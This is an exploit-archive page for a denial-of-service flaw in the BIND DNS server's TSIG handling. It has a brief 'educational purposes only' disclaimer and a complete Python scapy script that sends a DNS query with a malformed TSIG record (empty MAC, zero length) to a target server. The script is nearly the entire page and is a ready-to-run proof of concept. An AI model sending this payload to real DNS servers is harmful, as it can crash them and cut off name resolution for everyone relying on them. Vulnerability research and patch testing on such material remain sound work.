Bind tsig denial of service Vulnerability / Exploit

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Exploits / Vulnerability Discovered : 2020-05-20 | Type : dos | Platform : multiple
This exploit / vulnerability Bind tsig denial of service is for educational purposes only and if it is used you will do on your own risk!

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[+] Code ...

#!/usr/bin/python
#coding:utf-8

from scapy.all import DNS, DNSQR, IP, sr1, UDP, DNSRRTSIG, DNSRROPT

tsig = DNSRRTSIG(rrname="local-ddns", algo_name="hmac-sha256", rclass=255, mac_len=0, mac_data="", time_signed=0, fudge=300, error=16)

dns_req = IP(dst='127.0.0.1')/UDP(dport=53)/DNS(rd=1, ad=1, qd=DNSQR(qname='www.example.com'), ar=tsig)
answer = sr1(dns_req, verbose=0)

print(answer[DNS].summary())